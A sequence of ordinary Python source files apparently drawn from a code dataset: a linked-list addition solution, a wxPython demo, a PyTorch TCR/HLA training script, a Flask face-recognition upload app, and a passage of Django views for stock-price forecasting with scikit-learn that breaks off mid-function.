""" Definition of ListNode class ListNode(object): def __init__(self, val, next=None): self.val = val self.next = next """ class ListNode(object): def __init__(self, val, next=None): self.val = val self.next = next class Solution: """ @param l1: The first list. @param l2: The second list. @return: the sum list of l1 and l2. """ def addLists2(self, l1, l2): # write your code here num1 = self.list_to_num(l1) num2 = self.list_to_num(l2) num = num1 + num2 digits = self.num_to_digits(num) l = self.digits_to_list(digits) return l def list_to_num(self, head): num = 0 while head: num = num * 10 + head.val head = head.next return num def num_to_digits(self, num): if num == 0: return [0] digits = [] while num > 0: digit = num % 10 digits.append(digit) num = num // 10 digits.reverse() return digits def digits_to_list(self, digits): head = ListNode(-1) tail = head for digit in digits: node = ListNode(digit) tail.next = node tail = tail.next return head.next
7a4d8ae73c7301219e66de4ec0a3f30e85498bbf
3d6d53bee805c7cabf7325c7fc7333cdffea53c3
/界面/demo.py
ba37f35b8d06dde98d5b8a34e755e419b928ab4f
[]
no_license
dteer/A_1
8c7e8f92292989296ed1243c868d36d036f8f94a
1b7931a295bde1aae44670e5ab4c86a1a1dd225b
refs/heads/master
2020-06-15T03:16:05.244124
2019-07-04T07:41:45
2019-07-04T07:41:45
195,190,734
0
0
null
null
null
null
UTF-8
Python
false
false
1,104
py
import wx class MainFrame(wx.Frame): def __init__(self, parent, id, title): wx.Frame.__init__(self, parent, id, title, size=(500, 300)) # 显示按钮功能 self.buttonOK = wx.Button(self, -1, 'OK', (20, 20), (60, 30)) self.Bind(wx.EVT_BUTTON, self.OnClick, self.buttonOK) self.buttonCancel = wx.Button(self, -1, 'Cancel', (20, 80), (60, 30)) self.Bind(wx.EVT_BUTTON, self.OnClick, self.buttonCancel) def onClick(self, event): if event.GetEventObject() == self.buttonOK: print("".format(event.GetEventObject().GetLabel())) elif event.GetEventObject() == self.buttonCancel: print("".format(event.GetEventObject().GetLabel())) else: print("") class App(wx.App): def __init__(self): super(App, self).__init__(()) def OnInit(self): self.version = '第二课' self.title = 'wxpython' + self.version frame = MainFrame(None,-1,self.title) frame.Show(True) return True if __name__ == '__main__': app = App() app.MainLoop()
2b69c3f3bb288570d4eeddc1187d074b0f989f3c
8514befb5fd1395002180e64f0016e335378d567
/main.py
dc6f9938576fb2f976e1580b6455a606d18400c4
[]
no_license
TrofimovAssya/TCRome
cb2b00612e0f2a93e71c97439481b378b6fff6c4
59ef0bc6daebe4b5a4927fd8e1607cb8731bade2
refs/heads/master
2023-01-08T01:56:14.359036
2020-10-27T15:08:30
2020-10-27T15:08:30
261,264,352
1
0
null
null
null
null
UTF-8
Python
false
false
13,379
py
#!/usr/bin/env python import torch import json import pdb import numpy as np from torch.autograd import Variable import os import argparse import datasets import models import pickle import time import random import monitoring import training import evaluations # def build_parser(): parser = argparse.ArgumentParser(description="") ### Hyperparameter options parser.add_argument('--epoch', default=10, type=int, help='The number of epochs we want ot train the network.') parser.add_argument('--seed', default=260389, type=int, help='Seed for random initialization and stuff.') parser.add_argument('--batch-size', default=1, type=int, help="The batch size.") parser.add_argument('--lr', default=1e-3, type=float, help='learning rate') parser.add_argument('--momentum', default=0.9, type=float, help='momentum') ### Dataset specific options parser.add_argument('--data-dir', default='./data/', help='The folder contaning the dataset.') parser.add_argument('--data-file', default='.', help='The data file with the dataset.') parser.add_argument('--dataset', choices=['tcr','hla_tcr','binary_rand','binary_small', 'binary_hla_tcr'], default='tcr', help='Which dataset to use.') parser.add_argument('--transform', default=True,help='log10(exp+1)') parser.add_argument('--nb-patient', default=5,type=int, help='nb of different patients') parser.add_argument('--tcr-size', default=27,type=int, help='length of the TCR sequence') parser.add_argument('--hla-size', default=34,type=int, help='length of the HLA sequence') parser.add_argument('--nb-kmer', default=1000,type=int, help='nb of different kmers') parser.add_argument('--cache', default=0, help='cache prefix for the dataset') parser.add_argument('--nb-tcr-to-sample', default=10000,type=int, help='nb of TCR to sample') # Model specific options parser.add_argument('--tcr-conv-layers-sizes', default=[20,1,18], type=int, nargs='+', help='TCR-Conv net config.') parser.add_argument('--hla-conv-layers-sizes', default=[20,1,25], type=int, nargs='+', help='HLA-Conv net config.') parser.add_argument('--mlp-layers-size', default=[250, 75, 50, 25, 10], type=int, nargs='+', help='MLP config') parser.add_argument('--emb_size', default=10, type=int, help='The size of the embeddings.') parser.add_argument('--loss', choices=['NLL', 'MSE'], default = 'MSE', help='The cost function to use') parser.add_argument('--weight-decay', default=0, type=float, help='Weight decay parameter.') parser.add_argument('--model', choices=['RNN','TCRonly', 'allseq','allseq_bin'], default='TCRonly', help='Which model to use.') parser.add_argument('--cpu', action='store_true', help='True if no gpu to be used') parser.add_argument('--name', type=str, default=None, help="If we want to add a random str to the folder.") parser.add_argument('--gpu-selection', type=int, default=0, help="gpu selection") # Monitoring options parser.add_argument('--plot-frequency', default=1, type=int, help='frequency (in nb epochs at which to generate training curve') parser.add_argument('--load-folder', help='The folder where to load and restart the training.') parser.add_argument('--save-dir', default='./testing123/', help='The folder where everything will be saved.') return parser def parse_args(argv): if type(argv) == list or argv is None: opt = build_parser().parse_args(argv) else: opt = argv return opt def main(argv=None): opt = parse_args(argv) # TODO: set the seed seed = opt.seed torch.cuda.manual_seed(seed) torch.cuda.manual_seed_all(seed) torch.manual_seed(seed) if opt.cache==0: opt.cache = random.getrandbits(128) exp_dir = opt.load_folder if exp_dir is None: # we create a new folder if we don't load. exp_dir = monitoring.create_experiment_folder(opt) if opt.model == 'RNN': print ('This model is deprecated - please use TCRonly from now on') # creating the dataset print ("Getting the dataset...") if not 'cached_dataset' in os.listdir('.'): os.mkdir('cached_dataset') dataset = datasets.get_dataset(opt,exp_dir) # Creating a model print ("Getting the model...") my_model, optimizer, epoch, opt = monitoring.load_checkpoint(exp_dir, opt, dataset.dataset.input_size(), ) criterion = torch.nn.MSELoss() # Training optimizer and stuff if opt.loss == 'NLL' or opt.model=='allseq_bin': criterion = torch.nn.NLLLoss() criterion = torch.nn.BCELoss() if not 'tcr_embs' in os.listdir(exp_dir): if opt.model == 'TCRonly': os.mkdir(f'{exp_dir}/tcr_embs/') elif opt.model == 'allseq' or opt.model == 'allseq_bin': os.mkdir(f'{exp_dir}/tcr_embs/') os.mkdir(f'{exp_dir}/hla_embs/') os.mkdir(f'{exp_dir}/predictions') if not opt.cpu: print ("Putting the model on gpu...") my_model.cuda(opt.gpu_selection) loss_dict = {} loss_dict['train_losses'] = [] def estimate_batch_accuracy(y,yhat): return np.sum([i==j for i,j in zip(y,yhat)])/y.shape[0] if opt.model == 'allseq' or opt.model == 'allseq_bin': valid_list = np.load('/u/trofimov/Emerson/processed_data/valid_list.npy') loss_dict['valid_losses'] = [] # The training. print ("Start training.") #monitoring and predictions for t in range(epoch, opt.epoch): loss_dict = monitoring.update_loss_dict(loss_dict,start = True) if opt.model == 'allseq_bin': good = 0 for no_b, mini in enumerate(dataset): if opt.model == 'TCRonly': y_pred, my_model, targets = training.TCRonly_batch(mini,opt,my_model) loss = criterion(y_pred, targets) loss_save = loss.data.cpu().numpy().reshape(1,)[0] loss_dict['train_losses_epoch'].append(loss_save) if no_b % 5 == 0: print (f"Doing epoch{t},examples{no_b}/{len(dataset)}.Loss:{loss_save}") # Saving the emb np.save(os.path.join(exp_dir, 'pixel_epoch_{}'.format(t)),my_model.emb_1.weight.cpu().data.numpy()) optimizer.zero_grad() loss.backward() optimizer.step() kmerembs = my_model.get_embeddings(inputs_k, inputs_s)[0].squeeze() np.save(f'{exp_dir}/kmer_embs/kmer_embs_batch_{no_b}',kmerembs.cpu().data.numpy()) elif opt.model == 'allseq': inputs_k,inputs_h1, inputs_h2, inputs_h3, inputs_h4, targets = training.allseq_batch(mini,opt) y_pred = my_model(inputs_k,inputs_h1, inputs_h2, inputs_h3, inputs_h4).float() loss = criterion(y_pred, targets) loss_save = loss.data.cpu().numpy().reshape(1,)[0] if no_b in valid_list: loss_dict['valid_losses_epoch'].append(loss_save) print (f"Validation error {t},examples{no_b}/{len(dataset)}.Loss:{loss_save}") elif no_b % 5 == 0: loss_dict['train_losses_epoch'].append(loss_save) print (f"Doing epoch {t},examples{no_b}/{len(dataset)}.Loss:{loss_save}") optimizer.zero_grad() loss.backward() optimizer.step() batch_number = dataset.dataset.data[no_b] kmerembs = my_model.get_embeddings(inputs_k, inputs_h1, inputs_h2, inputs_h3, inputs_h4) kmerembs1 = kmerembs[0].squeeze() bn = batch_number[0] np.save(f'{exp_dir}/tcr_embs/tcr_embs_batch_{bn}',kmerembs1.cpu().data.numpy()) for i in range(4): kmerembs1 = kmerembs[i+1].squeeze() kmerembs1 = kmerembs1[0] np.save(f'{exp_dir}/hla_embs/hla_embs_batch_{bn}_h{i+1}',kmerembs1.cpu().data.numpy()) kmerembs1 = my_model.hla_representation kmerembs1 = kmerembs1[0].squeeze() np.save(f'{exp_dir}/hla_embs/ppl_embs_batch_{bn}',kmerembs1.cpu().data.numpy()) elif opt.model == 'allseq_bin': inputs_k, inputs_h1, inputs_h2, inputs_h3, inputs_h4, targets = training.binallseq_batch(mini,opt) y_pred = my_model(inputs_k,inputs_h1, inputs_h2, inputs_h3, inputs_h4).float() loss = criterion(y_pred, targets) #nb_pos = (np.sum(np.argmax(y_pred.cpu().detach().numpy(),axis=1))/y_pred.shape[0]) #b_accuracy = (estimate_batch_accuracy(np.argmax(y_pred.cpu().detach().numpy(),axis=1), # np.argmax(targets.cpu().detach().numpy(),axis=1))) #if no_b % 10 == 0: # print (f'predicted proportion: {nb_pos} - accuracy: {b_accuracy}') #if b_accuracy>0.75: # good+=1 loss_save = loss.data.cpu().numpy().reshape(1,)[0] if no_b in valid_list: loss_dict['valid_losses_epoch'].append(loss_save) print (f"Validation error {t},examples{no_b}/{len(dataset)}.Loss:{loss_save}") else: loss_dict['train_losses_epoch'].append(loss_save) if no_b % 50 == 0: print (f"Doing epoch {t},examples{no_b}/{len(dataset)}.Loss:{loss_save}") optimizer.zero_grad() loss.backward() optimizer.step() batch_number = dataset.dataset.data[no_b] bn = batch_number[0] for newpass in range(100): y_pred = my_model(inputs_k,inputs_h1, inputs_h2, inputs_h3, inputs_h4).float() loss = criterion(y_pred, targets) loss_newpass = loss.data.cpu().numpy().reshape(1,)[0] print (f'batch {bn} pass {newpass} loss: {loss_newpass}') optimizer.zero_grad() loss.backward() optimizer.step() preds_targets = np.hstack((y_pred.cpu().data.numpy(), targets.cpu().data.numpy())) np.save(f'{exp_dir}/predictions/batch_{bn}_{no_b}.npy',preds_targets) monitoring.save_checkpoint(my_model, optimizer, t, opt, exp_dir) batch_number = dataset.dataset.data[no_b] kmerembs = my_model.get_embeddings(inputs_k, inputs_h1, inputs_h2, inputs_h3, inputs_h4) kmerembs1 = kmerembs[0].squeeze() bn = batch_number[0] true_size = int(kmerembs1.shape[0]/2) np.save(f'{exp_dir}/tcr_embs/tcr_embs_batch_{bn}',kmerembs1.cpu().data.numpy()[:true_size]) for i in range(4): kmerembs1 = kmerembs[i+1].squeeze() kmerembs1 = kmerembs1[0] np.save(f'{exp_dir}/hla_embs/hla_embs_batch_{bn}_h{i+1}',kmerembs1.cpu().data.numpy()[:true_size]) kmerembs1 = my_model.hla_representation kmerembs1 = kmerembs1[0].squeeze() np.save(f'{exp_dir}/hla_embs/ppl_embs_batch_{bn}',kmerembs1.cpu().data.numpy()[:true_size]) print ("Saving the model...") if opt.model=='allseq_bin' or opt.model=='allseq': validation_scores = loss_dict['valid_losses_epoch'] else: validation_scores = None #print (f'number correct examples: {good}') if opt.model == 'allseq' or opt.model=='allseq_bin': toprint = loss_dict['valid_losses_epoch'] print (f'validation loss matrix: {toprint}') monitoring.save_checkpoint(my_model, optimizer, t, opt, exp_dir) monitoring.update_loss_dict(loss_dict, start=False) monitoring.save_loss(loss_dict,exp_dir) if t % opt.plot_frequency==0: monitoring.plot_training_curve(exp_dir, loss_dict) print ('Finished training! Starting evaluations') tcr_rep_dir = f'{exp_dir}/tcr_embs' patient_to_index = f'data/hla_for_model_eval/pt_names.csv' original_data_dir = f'/u/trofimov/Emerson/original' validation_scores = np.load(f'{exp_dir}/validation_loss.npy') nb_patients = 15 validation_scores = np.load(f'{exp_dir}/validation_loss.npy') output = evaluations.evaluate_model(opt, my_model ,exp_dir, tcr_rep_dir, patient_to_index, original_data_dir, validation_scores, nb_patients, train_on_index=0) with open(f'{exp_dir}/evaluation_results.json', 'w') as json_file: json.dump(output, json_file) if __name__ == '__main__': main()
584cf677419592fa887342902a475be463d4f866
b48169b5c95506ed7253f94f9533b21a8e73ae43
/flask-face/app.py
18af3d3bd6937aaa8fb7ab4ab26441f6bc7a88dc
[]
no_license
1647790440/deeplearning
47492cac8f9160b8bd96ab5175c5ab6ca465f6f6
e01bf11ad6083f2b36482174da449abaabb1a7d1
refs/heads/master
2020-05-07T06:03:55.366530
2019-06-14T09:32:31
2019-06-14T09:32:31
180,299,990
2
0
null
null
null
null
UTF-8
Python
false
false
1,645
py
""" This script runs the application using a development server. It contains the definition of routes and views for the application. """ from flask import Flask from flask import request from flask import render_template from flask import make_response, redirect, url_for from flask import jsonify from werkzeug.utils import secure_filename from os import path import json import face app = Flask(__name__) # Make the WSGI interface available at the top level so wfastcgi can get it. wsgi_app = app.wsgi_app @app.route('/') @app.route('/index') def home(): """Renders the home page.""" return render_template( 'index.html' ) message = 'hello world' @app.route("/upload",methods=['GET','POST']) def upload(): global message if request.method=='POST': f = request.files["file"] base_path = path.abspath(path.dirname(__file__)) upload_path = path.join(base_path,'static/uploads/') file_name = upload_path + secure_filename(f.filename) print(file_name) f.save(file_name) message = face.facerecognition(file_name) return render_template('return.html') @app.route('/test_post',methods=['GET','POST']) def test_post(): global message if request.method=='POST': message =json.dumps(message,ensure_ascii=False,indent = 4) print(message) return jsonify(message) if __name__ == '__main__': app.config['JSON_AS_ASCII'] = False import os HOST = os.environ.get('SERVER_HOST', 'localhost') try: PORT = int(os.environ.get('SERVER_PORT', '5555')) except ValueError: PORT = 5555 app.run(HOST, PORT)
809f20d024366742785c79c3fc533cd75ec13716
8a245470643c03d6fda207e6dc9b900603fea815
/app/views.py
16ca883b06d8b07ce4059fed528e32172a58eeb8
[]
no_license
amarabuco/MoneyMachine
ee0cff6a21121b45effe10f1e207b1f28ba48e20
c135dbc51c8bb633ebb0d748281ec7eedd2aded2
refs/heads/master
2022-10-10T13:37:58.152311
2019-08-30T22:21:54
2019-08-30T22:21:54
178,274,834
0
0
null
null
null
null
UTF-8
Python
false
false
38,125
py
from django.http import HttpResponse, HttpResponseRedirect from django.shortcuts import render from django.template import loader from django.utils.safestring import SafeString #Data Wrangling import pandas as pd import numpy as np #Visualization import matplotlib import matplotlib.pyplot as plt from mpl_finance import candlestick_ohlc #Machine Learning from sklearn import preprocessing from sklearn.model_selection import train_test_split from sklearn.metrics import mean_absolute_error,mean_squared_error,explained_variance_score, r2_score from sklearn.metrics import accuracy_score, precision_score, recall_score, confusion_matrix from sklearn.utils.multiclass import unique_labels from sklearn.multioutput import MultiOutputRegressor from sklearn.model_selection import GridSearchCV ##regressão from sklearn import svm from sklearn import linear_model from sklearn.linear_model import LinearRegression from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor, AdaBoostRegressor #from sklearn.ensemble import VotingRegressor ##classificação from sklearn.linear_model import LogisticRegression from sklearn.ensemble import AdaBoostClassifier from sklearn.neighbors import KNeighborsClassifier from sklearn.naive_bayes import GaussianNB from sklearn.ensemble import RandomForestClassifier from sklearn.ensemble import VotingClassifier from sklearn.neural_network import MLPClassifier from sklearn.tree import DecisionTreeClassifier #python import pickle from joblib import dump, load from .forms import * # Create your views here. def index(request): return HttpResponse("<h1>Application</h1>") def aplicacao(request): return HttpResponseRedirect('/app/filtro') def filtro(request): # if this is a POST request we need to process the form data if request.method == 'POST': # create a form instance and populate it with data from the request: form = Filtro(request.POST) # check whether it's valid: if form.is_valid(): # process the data in form.cleaned_data as required # ... # redirect to a new URL: request.session['acao'] = request.POST['acao'] return HttpResponseRedirect('/app/menu') #return render(request, 'app/filtro.html', context ) # if a GET (or any other method) we'll create a blank form else: form = Filtro() context = { 'title':'Filtro de ação', 'form': form, 'acao': 'Nenhuma' } return render(request, 'app/filtro.html', context ) def menu(request): acao = request.session['acao'] context = { 'acao': acao } return render(request, 'app/menu.html', context ) def api(request): stock = pd.read_csv("app/data/bolsa.csv", index_col='Date').head().to_html() bolsa = pd.read_csv("app/data/IBOV_2013-2019.csv", index_col='Date') """ #stock = pd.read_csv("https://query1.finance.yahoo.com/v7/finance/download/VALE3.SA?period1=1552682299&period2=1555360699&interval=1d&events=history&crumb=aMJOzZ4One0") if (x == "VALE3SA_2014"): stock = pd.read_csv("app/data/VALE3SA_2014.csv").to_html() else: stock = pd.read_csv("app/data/VALE3SA_2000.csv").to_html() """ bolsa = bolsa[['Codigo','Open','High', 'Low','Close','Volume']] bolsa['Open'] = bolsa[['Open']].apply(lambda x: x.str.replace(',','.')).apply(pd.to_numeric, errors='coerce') bolsa['High'] = bolsa[['High']].apply(lambda x: x.str.replace(',','.')).apply(pd.to_numeric, errors='coerce') bolsa['Low'] = bolsa[['Low']].apply(lambda x: x.str.replace(',','.')).apply(pd.to_numeric, errors='coerce') bolsa['Close'] = bolsa[['Close']].apply(lambda x: x.astype(str)).apply(lambda x: x.str.replace(',','.')).apply(pd.to_numeric, errors='coerce') date = pd.Series(bolsa.index) date = date.apply(lambda x: pd.to_datetime(x)) bolsa = bolsa.set_index(date) bolsa.to_csv('app/data/bolsa.csv') """ template = loader.get_template('app/data.html') context = { 'stock' : stock, } """ #return HttpResponse(template.render(context, request)) return HttpResponse(stock) def data(request): acao = request.session['acao'] bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') data = bolsa.get_group(acao).to_html() dados = bolsa.get_group(acao) #bolsa.index = bolsa.index.strftime('%Y-%m-%d') date = pd.Series(dados.index) date = date.apply(lambda x: pd.to_datetime(x)) dados = dados.set_index(date) data = dados.to_html() context = { 'title' : 'Dados de mercado', 'data' : data, 'acao' : acao } return render(request, 'app/data.html', context ) #return HttpResponse(data) def candle(request): acao = request.session['acao'] #bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') bolsa = pd.read_csv("app/data/bolsa.csv").groupby('Codigo') dados = bolsa.get_group(acao) date = pd.Series(dados.index) #date = date.apply(lambda x: pd.to_datetime(x)) date = dados['Date'] open = dados['Open'] close = dados['Close'] high = dados['High'] low = dados['Low'] dados['index'] = dados.index #vol = preprocessing.MinMaxScaler().fit_transform(np.array([dados['Volume']])) #vol = preprocessing.MinMaxScaler().fit_transform([dados['Date'],dados['Volume']]) vol = dados['Volume'] ohlc= np.array(dados[['index','Open', 'High', 'Low','Close']]) #ohlc =ohlc.tail(60).to_html() ohlc =ohlc f1, ax = plt.subplots(figsize = (15,10)) candlestick_ohlc(ax, ohlc, width=5, colorup='blue', colordown='red') plt.grid(True) plt.savefig("media/candle.png") context = { 'ohlc': ohlc, 'acao': acao } return render(request, 'app/candle.html', context ) def chart(request): acao = request.session['acao'] #bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') bolsa = pd.read_csv("app/data/bolsa.csv").groupby('Codigo') dados = bolsa.get_group(acao) date = pd.Series(dados.index) #date = date.apply(lambda x: pd.to_datetime(x)) date = dados['Date'] open = dados['Open'] close = dados['Close'] high = dados['High'] low = dados['Low'] dados['index'] = dados.index #vol = preprocessing.MinMaxScaler().fit_transform(np.array([dados['Volume']])) #vol = preprocessing.MinMaxScaler().fit_transform([dados['Date'],dados['Volume']]) vol = dados['Volume'] ohlc= np.array(dados[['index','Open', 'High', 'Low','Close']]) #ohlc =ohlc.tail(60).to_html() ohlc =ohlc f1, ax = plt.subplots(figsize = (10,5)) candlestick_ohlc(ax, ohlc, width=.6, colorup='white', colordown='black') plt.grid(True) plt.savefig("media/candle.png") plt.figure(figsize=(10,2.5)) plt.xlabel("Data") plt.ylabel("Price") plt.title(acao) plt.plot(close) #plt.plot(high) #plt.plot(low) #plt.grid(True) plt.savefig("media/daily.png") plt.figure(figsize=(10,2.5)) plt.xlabel("Data") plt.ylabel("Vol") plt.title('Volume') plt.plot(vol) #plt.grid(True) plt.savefig("media/daily_vol.png") context = { 'ohlc': ohlc, 'acao': acao } #return HttpResponse(buffer.getvalue(), mimetype="image/png") return render(request, 'app/chart.html', context ) #return HttpResponse(data) def analysis(request): acao = request.session['acao'] bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') dados = bolsa.get_group(acao) dados['V-1'] = dados['Volume'].shift(1) dados['dH+1'] = dados['High'].shift(-1) - dados['High'] dados['dL+1'] = dados['Low'].shift(-1) - dados['Low'] dados['dC+1'] = dados['Close'].shift(-1) - dados['Close'] dados['HxC'] = (dados['High']-dados['Close'])/(dados['High']-dados['Low']) dados['LxC'] = (dados['Close']-dados['Low'])/(dados['High']-dados['Low']) dados['OxC'] = (dados['Close']/dados['Open'])-1 dados['V0xV+1'] = (dados['Volume']/dados['Volume'].shift(1))-1 #analise = dados[['HxC','LxC','OxC','V0xV+1']] data = dados.head().to_html() context = { 'title' : 'Variáveis analíticas', 'data' : data } return render(request, 'app/data.html', context ) def describe(request): acao = request.session['acao'] bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') dados = bolsa.get_group(acao) data = dados.describe().to_html() context = { 'title' : 'Descrição', 'data' : data } return render(request, 'app/data.html', context ) def training(request,model): acao = request.session['acao'] bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') dados = bolsa.get_group(acao) X = dados[['Open','High', 'Low','Close','Volume']] y = dados['High'].shift(-1).fillna(method='pad') Y = pd.DataFrame({'Alta_real':dados['High'].shift(-1).fillna(method='pad'),'Baixa_real':dados['Low'].shift(-1).fillna(method='pad')}) X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, shuffle=False, random_state=0) X_train, X_test, Ytrain, Ytest = train_test_split(X, Y, test_size=0.20, shuffle=False, random_state=0) base = dados.to_html() #training regr = linear_model.BayesianRidge() regr.fit(X_train,y_train) #trainingmulti if (model == 'adr'): modelo = "Automatic Relevance Determination Regression" #regr_multi = MultiOutputRegressor(svm.SVR()) regr_multi = MultiOutputRegressor(linear_model.ARDRegression(compute_score=True)) elif (model == 'ada'): modelo = "Ada Regressor" regr_multi = MultiOutputRegressor(AdaBoostRegressor(random_state=0, n_estimators=100)) elif (model == 'GB'): modelo = "GradientBoostingRegressor" regr_multi = MultiOutputRegressor(GradientBoostingRegressor(random_state=1, n_estimators=10)) else: modelo = "LinerRegression com Bayesian Ridge" regr_multi = MultiOutputRegressor(linear_model.BayesianRidge()) """ # import votingregressor não funciona, precisa atualizar o sklearn elif (model == 'VR'): modelo = "Voting Regressor com GradientBoostingRegressor, RandomForestRegressor, LinearRegression" reg1 = MultiOutputRegressor(GradientBoostingRegressor(random_state=1, n_estimators=10)) reg2 = MultiOutputRegressor(RandomForestRegressor(random_state=1, n_estimators=10)) reg3 = MultiOutputRegressor(LinearRegression()) regr_multi = VotingRegressor(estimators=[('gb', reg1), ('rf', reg2), ('lr', reg3)]) """ regr_multi.fit(X_train,Ytrain) Y_PRED = regr_multi.predict(X_test) real = pd.DataFrame(Ytest) previsto = pd.DataFrame(Y_PRED, index=Ytest.index, columns=['Alta_prevista','Baixa_prevista']) #real.rename(columns={"High": "real"}) #previsto = previsto.set_index(real.index) data = pd.concat([real,previsto],axis=1) data['diferenca_alta'] = data['Alta_real']-data['Alta_prevista'] data['diferenca_baixa'] = data['Baixa_real']-data['Baixa_prevista'] erro = data['diferenca_alta'] data = data.to_html() #data = previsto.head().to_html() """ #forecast y_pred = regr.predict(X_test) real = pd.DataFrame(y_test) previsto = pd.DataFrame(y_pred, index=real.index, columns=['previsto']) #real.rename(columns={"High": "real"}) #previsto = previsto.set_index(real.index) data = pd.concat([real,previsto],axis=1) data['diferenca'] = data['High']-data['previsto'] erro = np.array(data['diferenca']) data = data.to_html() #data = previsto.head().to_html() """ #metrics mae = mean_absolute_error(Ytest, Y_PRED) mse = mean_squared_error(Ytest, Y_PRED) ev = explained_variance_score(Ytest, Y_PRED, multioutput='uniform_average') r2 = r2_score(Ytest, Y_PRED) #chart plt.figure(figsize=(5,5)) plt.xlabel("Data") plt.ylabel("High") plt.title(acao) #plt.plot(y_train) plt.plot(Ytest['Alta_real']) plt.plot(previsto['Alta_prevista']) #plt.grid(True) plt.savefig("media/forecast_reg.png") plt.figure(figsize=(5,5)) plt.title('Erro Alta (real - prevista)4') plt.grid(True) plt.hist(erro,bins=5) plt.savefig("media/hist_reg.png") #params params = regr.get_params() #persistence if (model == 'VR'): dump(regr_multi, 'app/learners/'+acao+'_VR.joblib') elif (model == 'GB'): dump(regr_multi, 'app/learners/'+acao+'_GB.joblib') elif (model == 'adr'): dump(regr_multi, 'app/learners/'+acao+'_ADR.joblib') elif (model == 'ada'): dump(regr_multi, 'app/learners/'+acao+'_ADAR.joblib') else: dump(regr_multi, 'app/learners/'+acao+'_NBR.joblib') context = { 'title' : 'Treino Regressão', 'mae': mae, 'mse': mse, 'ev': ev, 'r2': r2, 'base': base, 'data' : data, 'acao' : acao, 'modelo': modelo, 'params' : params, 'multi' : Y_PRED[0] } return render(request, 'app/training.html', context ) def forecast(request,model): acao = request.session['acao'] """ regr = load('app/learners/'+acao+'_NB.joblib') #abertura = 100 #open = request.POST['Abertura'] input = pd.DataFrame({'Open':19.30,'High':19.58,'Low':19.24,'Close':19.50,'Volume':3164300}, index=['2019-08-13']) y_pred = regr.predict(input) data = y_pred[0] title = 'Previsão' context = { 'title' : title, 'data' : data, #'open' : open, 'acao' : acao } """ try: if (model == 'VR'): regr = load('app/learners/'+acao+'_VR.joblib') elif (model == 'GB'): regr = load('app/learners/'+acao+'_GB.joblib') elif (model == 'adr'): regr = load('app/learners/'+acao+'_ADR.joblib') elif (model == 'ada'): regr = load('app/learners/'+acao+'_ADAR.joblib') elif (model == 'nbr'): regr = load('app/learners/'+acao+'_NBR.joblib') elif (model == 'knn'): regr = load(regr, 'app/learners/'+acao+'_KNN.joblib') elif (model == 'svc'): regr = load('app/learners/'+acao+'_SVC.joblib') elif (model == 'ada'): regr = load('app/learners/'+acao+'_ADA.joblib') elif (model == 'vc'): regr = load('app/learners/'+acao+'_VC.joblib') elif (model == 'neural'): regr = load('app/learners/'+acao+'_neural.joblib') elif (model == 'nbc'): regr = load('app/learners/'+acao+'_NBC.joblib') #abertura = 100 #open = request.POST['Abertura'] open = request['open'] input = pd.DataFrame({'Open':19.30,'High':19.58,'Low':19.24,'Close':19.50,'Volume':3164300}, index=['2019-08-13']) y_pred = regr.predict(input) data = y_pred[0] title = 'Previsão' context = { 'title' : title, 'data' : data, 'open' : open, 'acao' : acao } except: title = "É preciso treinar o algoritmo, antes de fazer a previsão" data = "-" context = { 'title' : title, 'data' : data, 'acao' : acao } return render(request, 'app/forecast.html', context ) def training_log(request,model): acao = request.session['acao'] bolsa = pd.read_csv("app/data/bolsa.csv", index_col='Date').groupby('Codigo') dados = bolsa.get_group(acao) dados['var'] = dados['Close'].pct_change()*100 dados['move'] = [1 if x>0.01 else -1 if x<-0.01 else 0 for x in dados['Close'].pct_change()] class_names = ['desce','neutro','sobe',] #dados['movecolor'] = [SafeString('<div style=\"color:green\">1</div>') if x>0.01 else SafeString("<div class=\"btn btn-danger\">-1</div>") if x<-0.01 else SafeString("<div class=\"btn btn-default\">0</div>") for x in dados['Close'].pct_change()] X = dados[['Open','High', 'Low','Close','Volume']] y = dados['move'] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, shuffle=False, random_state=0) base = dados.head().to_html() #training if (model == 'knn'): modelo = "KNN" regr = KNeighborsClassifier(n_neighbors=5) elif (model == 'svc'): modelo = "Support Vector Classifier" regr = svm.SVC(gamma='scale') elif (model == 'ada'): modelo = "Ada Classifier" regr = AdaBoostClassifier(n_estimators=100) elif (model == 'vc'): modelo = "Voting Classifier com LogisticRegression, RandomForestClassifier, GaussianNB" clf1 = KNeighborsClassifier(n_neighbors=5) clf2 = RandomForestClassifier(n_estimators=50, random_state=0) clf3 = GaussianNB() regr = VotingClassifier(estimators=[('lr', clf1), ('rf', clf2), ('gnb', clf3)], voting='soft') elif (model == 'neural'): modelo = 'Multi-layer Perceptron classifier' #regr = MLPClassifier(solver='adam', learning_rate='invscaling', activation="tanh", alpha=1e-5, hidden_layer_sizes=(200,5), random_state=0) regr = MLPClassifier() else: modelo = "Gaussian Naive Bayes" regr = GaussianNB() #regr = linear_model.LogisticRegression(random_state=0, solver='lbfgs',multi_class='multinomial') regr.fit(X_train,y_train) #forecast y_pred = regr.predict(X_test) real = pd.DataFrame(y_test) previsto = pd.DataFrame(y_pred, index=real.index, columns=['previsto']) real.rename(columns={"move": "real"}) #previsto = previsto.set_index(real.index) data = pd.concat([real,previsto],axis=1) data = data.to_html() if (model == 'svc' or model == 'vc' ): prob = "Não há resultados" else: prob = pd.DataFrame(regr.predict_proba(X_test), index=real.index, columns=class_names).to_html() #data = previsto.head().to_html() #params params = regr.get_params() #metrics mae = accuracy_score(y_test, y_pred) mse = precision_score(y_test, y_pred, average='weighted') r2 = recall_score(y_test, y_pred, average='weighted') #chart plot_confusion_matrix(y_test, y_pred, classes=class_names, title='Matriz de confusão - '+acao) plt.savefig("media/confusion.png") plt.figure(figsize=(5,5)) sober, neutror, descer = len(y_test[y_test == 1]), len(y_test[y_test == 0]), len(y_test[y_test == -1]) sobe, neutro, desce = len(y_pred[y_pred == 1]), len(y_pred[y_pred == 0]), len(y_pred[y_pred == -1]) #grafico = pd.DataFrame({'desce':desce,'neutro':neutro,'sobe':sobe}, index=['classes'], columns=class_names) grafico_real = [descer,neutror,sober] grafico = [desce,neutro,sobe] plt.xlabel("Classe 